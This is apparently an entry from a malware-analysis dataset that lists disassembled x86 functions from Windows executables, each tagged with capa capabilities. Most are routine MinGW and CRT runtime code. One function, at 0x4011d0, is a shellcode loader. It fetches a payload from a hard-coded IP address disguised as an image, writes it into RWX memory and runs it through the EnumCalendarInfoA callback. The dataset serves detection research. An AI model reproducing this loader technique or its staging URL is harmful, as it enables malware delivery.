joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b780
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x4e9420]
test esi, esi
jle 0x40b890
mov edi, dword [0x4e9424]
xor ebx, ebx
lea edx, [edi + 0xc]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x40b7b4
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x40b835
add ebx, 1
add edx, 0x14
cmp ebx, esi
jne 0x40b7a0
mov dword [esp], eax
mov ebx, eax
call sym.___mingw_GetSectionForAddress
test eax, eax
mov edi, eax
je 0x40b8b7
mov eax, dword [0x4e9424]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call sym.__GetPEImageBase
add eax, dword [edi + 0xc]
mov edx, dword [0x4e9424]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp], eax
mov dword [esp + 4], edx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x40b897
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x40b82e
sub eax, 4
and eax, 0xfffffffb
jne 0x40b840
add dword [0x4e9420], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
add ebx, dword [0x4e9424]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x20]
mov dword [ebx + 4], eax
mov dword [ebx + 8], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x40
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x40b82e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call sym.___report_error
lea esi, [esi]
xor esi, esi
jmp 0x40b7be
mov eax, dword [0x4e9424]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call sym.___report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call sym.___report_error
mov esi, esi
lea edi, [edi]

Function at 0x40bcf0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4e9438
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4e9430]
sub esp, 4
test ebx, ebx
je 0x40bd45
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40bd3e
test esi, esi
je 0x40bd3e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x40bd20
mov dword [esp], 0x4e9438
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x415da0
Capabilities:
Query environment variable

Disassembly:
push ebp
push edi
mov edi, edx
push esi
push ebx
lea ebx, [ecx - 1]
mov ecx, 0x66666667
sub esp, 0x2c
mov dword [esp + 0x1c], eax
mov eax, ebx
mov dword [esp + 0x10], ebx
sar eax, 0x1f
mov esi, dword [esp + 0x40]
mov dword [esp + 0x14], eax
mov eax, ebx
sar ebx, 0x1f
imul ecx
mov ecx, edx
sar ecx, 2
sub ecx, ebx
mov ebx, 1
je 0x415df3
mov ebp, 0x66666667
mov eax, ecx
sar ecx, 0x1f
add ebx, 1
imul ebp
sar edx, 2
sub edx, ecx
mov ecx, edx
jne 0x415de0
mov edx, dword [esi + 0x28]
cmp edx, 0xffffffff
je 0x415e70
mov ecx, dword [esi + 8]
cmp ebx, edx
cmovl ebx, edx
lea edx, [ebx + 2]
mov eax, ecx
sub eax, edx
cmp ecx, edx
mov edx, 0xffffffff
cmovle eax, edx
mov ecx, 1
mov edx, edi
mov dword [esi + 8], eax
mov eax, dword [esp + 0x1c]
add ebx, 1
mov dword [esp], esi
call dbg.__pformat_emit_float
mov eax, dword [esi + 0x28]
mov dword [esi + 0xc], eax
mov eax, dword [esi + 4]
mov edx, eax
and eax, 0x20
or edx, 0x1c0
or eax, 0x45
mov dword [esi + 4], edx
mov edx, esi
call dbg.__pformat_putc
add dword [esi + 8], ebx
mov eax, dword [esp + 0x10]
mov ecx, esi
mov edx, dword [esp + 0x14]
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
jmp sym.___pformat_int.isra.0
mov eax, dword [global_two_exp_digits_env]
cmp eax, 0xffffffff
je 0x415e9b
test eax, eax
je 0x415e8b
mov edx, 2
mov dword [esi + 0x28], edx
jmp 0x415dfb
call sym.__get_output_format
test al, 1
mov edx, 3
jne 0x415e7e
jmp 0x415e83
mov dword [esp], str.PRINTF_EXPONENT_DIGITS
call sym._getenv
test eax, eax
je 0x415ec1
movsx eax, byte [eax]
sub eax, 0x30
cmp eax, 2
setbe al
movzx eax, al
mov dword [global_two_exp_digits_env], eax
jmp 0x415e7a
xor eax, eax
jmp 0x415eb7
Function at 0x41c930
Capabilities:
Allocate thread local storage

Disassembly:
sub esp, 0xc
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [0x4a309c], eax
je 0x41c947
add esp, 0xc
ret
call sym._abort
lea esi, [esi]

Function at 0x41ce40
Capabilities:
Print debug messages

Disassembly:
test eax, eax
je 0x41ce70
push edi
push esi
push ebx
mov ebx, eax
add esp, 0xffffff80
mov dword [esp], eax
call sym._pthread_spin_destroy
cmp eax, 1
je 0x41ce72
mov dword [ebx], 0xffffffff
sub esp, 0xffffff80
pop ebx
pop esi
pop edi
ret
repz ret
lea ebx, [esp + 0x15]
mov esi, str.Error_cleaning_up_spin_keys_for_thread
mov ecx, 0xa
xor eax, eax
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
lea edi, [esp + 0x3d]
mov ecx, 0x43
rep stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea edx, [esp + 0x3c]
mov dword [esp + 8], 0xa
mov dword [esp], eax
mov dword [esp + 4], edx
call dword [sym.imp.msvcrt.dll__ultoa]
cmp byte [esp + 0x3c], 0
mov eax, 0x27
jne 0x41cec5
jmp 0x41cee2
cmp eax, 0x6a
je 0x41ced3
add eax, 1
cmp byte [ebx + eax], 0
jne 0x41cec0
cmp eax, 0x6a
jne 0x41cee2
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push eax
call sym._abort
mov byte [esp + eax + 0x15], 0xa
mov byte [esp + eax + 0x16], 0
jmp 0x41ced3
Function at 0x41cf70
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
cmp dword [0x4e9ea8], 1
je 0x41cf85
call sym.__pthread_once_raw.part.5.constprop.11
mov eax, dword [0x4a309c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
test eax, eax
mov ebx, eax
je 0x41cfb0
add esp, 0x2c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
call sym._pop_pthread_mem
mov esi, eax
mov eax, dword [entry3]
test eax, eax
je 0x41cf9c
test esi, esi
je 0x41cf9c
mov dword [esi + 0x24], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [esi + 0x3c], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x18], eax
lea eax, [esi + 0x38]
sub esp, 0x10
mov dword [esi + 0x1c], 0xffffffff
call sym._replace_spin_keys.constprop.10
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [esi + 0x64], 0
mov dword [esi + 0x14], 0
call ebx
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, eax
call ebx
lea edx, [esi + 0x14]
mov dword [esp + 0x18], 2
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], ebp
mov dword [esp + 0xc], edx
mov dword [esp + 4], edi
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
sub esp, 0x1c
test eax, eax
je 0x41d0b2
mov eax, dword [esi + 0x14]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [esi + 0x6c], eax
movzx eax, byte [esi + 0x20]
sub esp, 4
mov dword [esi + 0x68], 0
and eax, 0xffffffcf
or eax, 0x10
mov byte [esi + 0x20], al
mov eax, dword [0x4a309c]
mov dword [esp + 4], esi
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
je 0x41d0b2
add esp, 0x2c
mov ebx, esi
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
call sym._abort
mov esi, esi
lea edi, [edi]
Function at 0x41d1f0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push edi
push esi
push ebx
sub esp, 0x10
mov eax, dword [esp + 0x24]
test eax, eax
jne 0x41d220
mov edi, dword [esp + 0x28]
test edi, edi
je 0x41d2c1
add esp, 0x10
mov eax, 1
pop ebx
pop esi
pop edi
ret 0xc
cmp eax, 1
je 0x41d2f0
cmp eax, 3
jne 0x41d20a
mov eax, dword [0x4a309c]
cmp eax, 0xffffffff
je 0x41d20a
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
test eax, eax
mov ebx, eax
je 0x41d20a
test byte [eax + 0x20], 0x30
je 0x41d312
mov eax, dword [eax + 0xb4]
test eax, eax
jne 0x41d414
mov eax, dword [ebx + 0x14]
test eax, eax
je 0x41d294
mov dword [esp], eax
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov eax, dword [ebx + 0x18]
sub esp, 4
test eax, eax
je 0x41d286
mov dword [esp], eax
call esi
sub esp, 4
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x14], 0
lea eax, [ebx + 0x1c]
mov dword [esp], eax
call sym._pthread_mutex_destroy
lea eax, [ebx + 0x38]
call sym._replace_spin_keys.constprop.10
mov esi, dword [ebx + 0xb0]
test esi, esi
jne 0x41d399
mov eax, ebx
call sym._push_pthread_mem.part.2
jmp 0x41d399
mov eax, dword [0x4e9e84]
test eax, eax
je 0x41d20a
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
mov dword [0x4e9e84], 0
sub esp, 4
jmp 0x41d20a
mov dword [esp + 4], sym._SetThreadName_VEH_4
mov dword [esp], 1
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
sub esp, 8
mov dword [0x4e9e84], eax
jmp 0x41d20a
mov edx, dword [ebx + 0x68]
mov eax, dword [eax + 0x18]
test edx, edx
jne 0x41d3c0
test eax, eax
je 0x41d330
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebx + 0xb4]
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x68], 1
test eax, eax
jne 0x41d3f0
test byte [ebx + 0x24], 4
lea edi, [ebx + 0x1c]
lea esi, [ebx + 0x38]
je 0x41d400
mov eax, dword [ebx + 0x14]
mov dword [ebx], 0xdeadbeef
test eax, eax
je 0x41d375
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [ebx + 0x14], 0
mov dword [esp], edi
call sym._pthread_mutex_destroy
mov eax, esi
call sym._replace_spin_keys.constprop.10
mov ecx, dword [ebx + 0xb0]
test ecx, ecx
je 0x41d2b5
mov eax, dword [0x4a309c]
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
jmp 0x41d20a
test eax, eax
je 0x41d3d0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
lea eax, [ebx + 0x1c]
mov dword [ebx + 0x18], 0
mov dword [esp], eax
call sym._pthread_mutex_destroy
lea eax, [ebx + 0x38]
call sym._replace_spin_keys.constprop.10
jmp 0x41d20a
call sym.__pthread_cleanup_dest.part.8
jmp 0x41d34c
mov dword [esp], edi
call sym._pthread_mutex_destroy
mov eax, esi
call sym._replace_spin_keys.constprop.10
jmp 0x41d20a
call sym.__pthread_cleanup_dest.part.8
jmp 0x41d262
Function at 0x41d42a
Capabilities:
Set thread local storage value

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x28
mov eax, dword [ecx]
mov dword [esp], 0x4a3094
mov esi, eax
mov dword [ebp - 0x1c], eax
lea ebx, [esi + 0x1c]
call sym._pthread_mutex_lock
mov dword [esp], ebx
call sym._pthread_mutex_lock
cmp dword [0x4e9ea8], 1
je 0x41d460
call sym.__pthread_once_raw.part.5.constprop.11
mov esi, dword [ebp - 0x1c]
mov eax, dword [0x4a309c]
mov dword [esp + 4], esi
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [esi + 0x3c], eax
mov dword [esp], ebx
call sym._pthread_mutex_unlock
lea eax, [esi + 0x70]
mov dword [esp + 4], 0
mov dword [esp], eax
call sym.__setjmp3
test eax, eax
je 0x41d531
mov dword [esp], 0x4a3094
call sym._pthread_mutex_lock
mov esi, dword [ebp - 0x1c]
lea ebx, [esi + 0x1c]
mov dword [esp], ebx
call sym._pthread_mutex_lock
mov eax, esi
mov esi, dword [esi + 4]
mov eax, dword [eax + 0x18]
test eax, eax
je 0x41d4d3
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
mov eax, dword [ebp - 0x1c]
cmp dword [eax + 0x14], 0
mov dword [eax + 0x18], 0
je 0x41d57b
mov dword [esp], ebx
call sym._pthread_mutex_unlock
mov dword [esp], ebx
call sym._pthread_mutex_destroy
mov eax, dword [ebp - 0x1c]
mov dword [eax + 0x1c], 0xffffffff
mov dword [eax + 0x68], 1
jmp 0x41d518
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push eax
mov dword [esp], 0x4a3094
call sym._pthread_mutex_unlock
test eax, eax
je 0x41d50a
mov dword [esp], esi
call dword [sym.imp.msvcrt.dll__endthreadex]
mov dword [esp], 0x4a3094
call sym._pthread_mutex_unlock
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 8]
test eax, eax
je 0x41d5c6
mov edx, dword [edx + 4]
mov dword [esp], edx
call eax
mov ebx, eax
mov dword [esp], 0x4a3094
call sym._pthread_mutex_lock
mov eax, dword [ebp - 0x1c]
mov dword [eax + 4], ebx
mov eax, dword [eax + 0xb4]
test eax, eax
je 0x41d4af
call sym.__pthread_cleanup_dest.part.8
jmp 0x41d4af
mov edi, dword [ebp - 0x1c]
mov dword [edi], 0xdeadbeef
mov dword [esp], ebx
call sym._pthread_mutex_unlock
mov dword [esp], ebx
call sym._pthread_mutex_destroy
test edi, edi
je 0x41d5a9
mov eax, dword [ebp - 0x1c]
cmp dword [eax + 0xb0], 0
jne 0x41d5a9
call sym._push_pthread_mem.part.2
mov eax, dword [0x4a309c]
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push edx
push edx
jmp 0x41d518
mov ebx, pe_nt_image_headers32
jmp 0x41d551
Function at 0x41dd80
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov esi, dword [esp + 0x20]
call sym.___pthread_self_lite
mov ebx, eax
mov dword [eax + 4], esi
mov eax, dword [eax + 0xb4]
test eax, eax
jne 0x41de02
test byte [ebx + 0x20], 0x30
jne 0x41ddb6
add ebx, 0x70
mov dword [esp + 4], 1
mov dword [esp], ebx
call sym._longjmp
mov eax, dword [0x4a309c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
push edx
mov ebx, eax
je 0x41ddf9
cmp dword [ebx + 0x14], 0
mov eax, dword [eax + 0x18]
je 0x41de46
test eax, eax
mov esi, dword [ebx + 4]
mov dword [ebx + 0x68], 1
je 0x41ddec
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
test byte [ebx + 0x24], 4
mov dword [ebx + 0x18], 0
jne 0x41de09
mov dword [esp], esi
call dword [sym.imp.msvcrt.dll__endthreadex]
call sym.__pthread_cleanup_dest.part.8
jmp 0x41dd9d
mov eax, dword [ebx + 0x14]
mov dword [ebx], 0xdeadbeef
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
cmp dword [ebx + 0xb0], 0
mov dword [ebx + 0x14], 0
je 0x41de6d
mov eax, dword [0x4a309c]
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push eax
push eax
jmp 0x41ddf9
test eax, eax
mov dword [ebx], 0xdeadbeef
je 0x41de5a
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
cmp dword [ebx + 0xb0], 0
mov dword [ebx + 0x18], 0
mov esi, dword [ebx + 4]
jne 0x41de2c
mov eax, ebx
call sym._push_pthread_mem.part.2
jmp 0x41de2c
Function at 0x422620
Capabilities:
Write file on windows

Disassembly:
push edi
push esi
push ebx
sub esp, 0x20
cmp byte [0x4a4ab4], 0
jne 0x42270d
mov byte [0x4a4ab4], 1
call sym.___cxa_current_exception_type
test eax, eax
je 0x422751
mov ebx, dword [eax + 4]
cmp byte [ebx], 0x2a
je 0x42273f
lea eax, [esp + 0x1c]
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], ebx
mov dword [esp + 0x1c], 0xffffffff
mov dword [esp + 0xc], eax
call sym.___cxa_demangle
mov dword [esp], 2
mov edi, eax
mov esi, dword [sym.___acrt_iob_func]
call esi
mov dword [esp + 8], 0x30
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_after_throwing_an_instance_of_
call sym._fwrite
cmp dword [esp + 0x1c], 0
mov dword [esp], 2
je 0x4226fd
call esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._fputs
mov dword [esp], 2
call esi
mov dword [esp + 8], 2
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], 0x4a50fd
call sym._fwrite
cmp dword [esp + 0x1c], 0
je 0x422747
call sym.___cxa_rethrow
call esi
mov dword [esp], edi
mov dword [esp + 4], eax
call sym._fputs
jmp 0x4226c8
mov dword [esp], 2
call dword [0x4a3074]
mov dword [esp + 8], 0x1d
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_recursively_n
call sym._fwrite
call sym._abort
add ebx, 1
jmp 0x422653
mov dword [esp], edi
call sym._free
jmp 0x4226f8
mov dword [esp], 2
call dword [0x4a3074]
mov dword [esp + 8], 0x2d
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_without_an_active_exception_n
call sym._fwrite
call sym._abort
sub edx, 1
mov dword [esp], eax
jne 0x4227f7
call sym.___cxa_begin_catch
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 8]
mov dword [esp], 2
mov ebx, eax
call esi
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0xb
mov dword [esp + 4], 1
mov dword [esp], str.__what__:
call sym._fwrite
mov dword [esp], 2
call esi
mov dword [esp + 4], eax
mov dword [esp], ebx
call sym._fputs
mov dword [esp], 2
call esi
mov dword [esp + 4], eax
mov dword [esp], 0xa
call sym._fputc
call sym.___cxa_end_catch
jmp 0x42277e
call sym.___cxa_begin_catch
call sym.___cxa_end_catch
jmp 0x42277e

Function at 0x49d340
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call sym.___acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call sym.___acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
nop
nop
nop
nop
nop
Function at 0x4011d0
Capabilities:
Allocate or change rwx memory
Create http request
Execute shellcode via windows callback function
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xdbbbc
call fcn.00401490
push 0
push 0
push 0
push 1
push str.User_Agent
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x10], eax
push 0
push 0x80000000
push 0
push 0
push str.https:__42.81.163.240:8884_asp_upload_file_20240218_17082218988322355.1png
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401220
mov eax, 1
jmp 0x401374
lea ecx, [ebp - 4]
push ecx
push 0xdbba0
lea edx, [ebp - 0xdbbbc]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x401248
mov eax, 1
jmp 0x401374
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 4]
push eax
call fcn.004013a0
add esp, 4
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0xc], ecx
call fcn.00412580
cdq
mov ecx, 0x1a
idiv ecx
imul edx, edx, 0x3e8
shl edx, 3
push edx
call section..text
add esp, 4
mov eax, dword [ebp - 4]
push eax
lea ecx, [ebp - 0xdbbbc]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.004010b0
add esp, 0xc
call fcn.00412580
cdq
mov ecx, 0x1a
idiv ecx
imul edx, edx, 0x3e8
imul eax, edx, 5
push eax
call section..text
add esp, 4
push 0x40
push 0x1000
mov ecx, dword [ebp - 4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x14], eax
call fcn.00412580
cdq
mov ecx, 0x1a
idiv ecx
imul edx, edx, 0x3e8
shl edx, 3
push edx
call section..text
add esp, 4
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00401100
add esp, 0xc
call fcn.00412580
cdq
mov ecx, 0x1a
idiv ecx
imul edx, edx, 0x3e8
shl edx, 3
push edx
call section..text
add esp, 4
push 0x15
push 0xffffffffffffffff
push 0x400
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
call fcn.00412580
cdq
mov ecx, 0x1a
idiv ecx
imul edx, edx, 0x3e8
shl edx, 3
push edx
call section..text
add esp, 4
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.004013c0
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x404580
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call fcn.00404160
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4045ac
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 8]
call dword [0x474170]
call dword [ebp - 8]
jmp 0x4045b6
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esp, ebp
pop ebp
ret
Function at 0x44c4e0
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x38
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push eax
lea ecx, [ebp - 4]
call fcn.00413b80
lea ecx, [ebp - 4]
call fcn.0044c4b0
movzx eax, al
test eax, eax
jne 0x44c51d
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 4]
call fcn.0044c3d0
mov eax, dword [ebp - 0x18]
jmp 0x44c645
lea ecx, [ebp - 4]
call fcn.00413cc0
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.0044c470
add esp, 4
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x10]
sar edx, 1
mov dword [ebp - 0x14], edx
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x14]
push eax
lea ecx, [ebp - 4]
call fcn.00413cc0
push eax
push 0
push 0
call fcn.0044c310
add esp, 0x20
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x44c583
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 4]
call fcn.0044c3d0
mov eax, dword [ebp - 0x20]
jmp 0x44c645
push 0x66
push str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
push 2
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.0041c8d0
add esp, 0x10
push eax
lea ecx, [ebp - 8]
call fcn.00403290
lea ecx, [ebp - 8]
call fcn.004032f0
movzx edx, al
test edx, edx
jne 0x44c5cc
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 8]
call fcn.004032b0
lea ecx, [ebp - 4]
call fcn.0044c3d0
mov eax, dword [ebp - 0x24]
jmp 0x44c645
lea ecx, [ebp - 8]
call fcn.00403370
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 4]
call fcn.00413cc0
mov dword [ebp - 0x2c], eax
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x2c]
push eax
push 0
push 0
call fcn.0044c310
add esp, 0x20
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x44c627
mov dword [ebp - 0x34], 0
lea ecx, [ebp - 8]
call fcn.004032b0
lea ecx, [ebp - 4]
call fcn.0044c3d0
mov eax, dword [ebp - 0x34]
jmp 0x44c645
lea ecx, [ebp - 8]
call fcn.00413c30
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 8]
call fcn.004032b0
lea ecx, [ebp - 4]
call fcn.0044c3d0
mov eax, dword [ebp - 0x38]
mov esp, ebp
pop ebp
ret
Function at 0x44c650
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x28
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push eax
lea ecx, [ebp - 4]
call fcn.00413b80
lea ecx, [ebp - 4]
call fcn.0044c3f0
movzx eax, al
test eax, eax
jne 0x44c68d
mov dword [ebp - 0x14], 0
lea ecx, [ebp - 4]
call fcn.0044c3d0
mov eax, dword [ebp - 0x14]
jmp 0x44c747
lea ecx, [ebp - 4]
call fcn.00413cc0
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.0044c470
add esp, 4
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0xc]
sar edx, 1
mov dword [ebp - 0x10], edx
push 0x40
push str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
push 2
mov eax, dword [ebp - 0x10]
shl eax, 1
push eax
call fcn.0041c8d0
add esp, 0x10
push eax
lea ecx, [ebp - 8]
call fcn.00413b80
lea ecx, [ebp - 8]
call fcn.00413bc0
movzx ecx, al
test ecx, ecx
jne 0x44c6fd
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 8]
call fcn.00413ba0
lea ecx, [ebp - 4]
call fcn.0044c3d0
mov eax, dword [ebp - 0x1c]
jmp 0x44c747
lea ecx, [ebp - 4]
call fcn.00413cc0
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 8]
call fcn.00413cc0
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0x10]
shl edx, 1
push edx
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call fcn.0040f6d0
add esp, 0xc
lea ecx, [ebp - 8]
call fcn.00413c30
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 8]
call fcn.00413ba0
lea ecx, [ebp - 4]
call fcn.0044c3d0
mov eax, dword [ebp - 0x28]
mov esp, ebp
pop ebp
ret